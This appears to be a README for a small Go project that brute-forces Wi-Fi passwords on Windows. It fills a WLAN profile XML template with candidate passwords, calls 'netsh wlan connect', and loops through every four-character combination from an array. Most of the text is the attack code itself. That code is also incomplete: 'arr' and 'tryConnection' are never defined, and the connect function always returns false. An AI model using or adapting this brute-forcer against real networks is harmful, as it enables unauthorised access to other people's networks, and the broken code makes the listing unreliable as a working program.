This project was inspired by the netsh package as well as to learn Golang.
The networking works by creating a profile xml file and attepting to connect with the correct password.
This function is it Initalize the project for other operations by creating the xml file based off of the provided file inside the project. The function copies the file content and writes it to a new file.
func initalize(name string) error {
data, err := ioutil.ReadFile("template.xml")
must(err)
str := string(data)
str = strings.Replace(str, "{SSID}", name, 2)
f, err := os.Create("profile.xml")
must(err)
f.Write([]byte(str))
f.Close()
return nil
}
The close function simply cleans the workspace by deleting the initalized file
func close() error {
err := os.Remove("profile.xml")
must(err)
return err
}
The function createFileProfile works by creating a file profile filled with the provided password.
func createFileProfile(name, pass, prev string) {
data, err := ioutil.ReadFile("profile.xml")
must(err)
str := string(data)
str = strings.Replace(str, prev, pass, 1)
os.WriteFile("profile.xml", []byte(str), 0644)
}
The connectToNetwork function works to make a connection attept to the provided network.
func connectToNetwork(name string) bool {
str := fmt.Sprintf("name=%s", name)
out, err := exec.Command("netsh", "wlan", "connect", str).Output()
must(err)
fmt.Print(string(out))
return false
}
Function that will try all possible passwords to a specified network and return the found password.
func tryPws(name string) (string, bool) {
initalize(name)
previous := "{password}"
for i := 0; i < len(arr); i++ {
for j := 0; j < len(arr); j++ {
for ii := 0; ii < len(arr); ii++ {
for jj := 0; jj < len(arr); jj++ {
pw := arr[i] + arr[j] + arr[ii] + arr[jj]
if tryConnection(name, pw, previous) {
close()
return pw, true
}
previous = pw
}
}
}
}
close()
return "", false
}
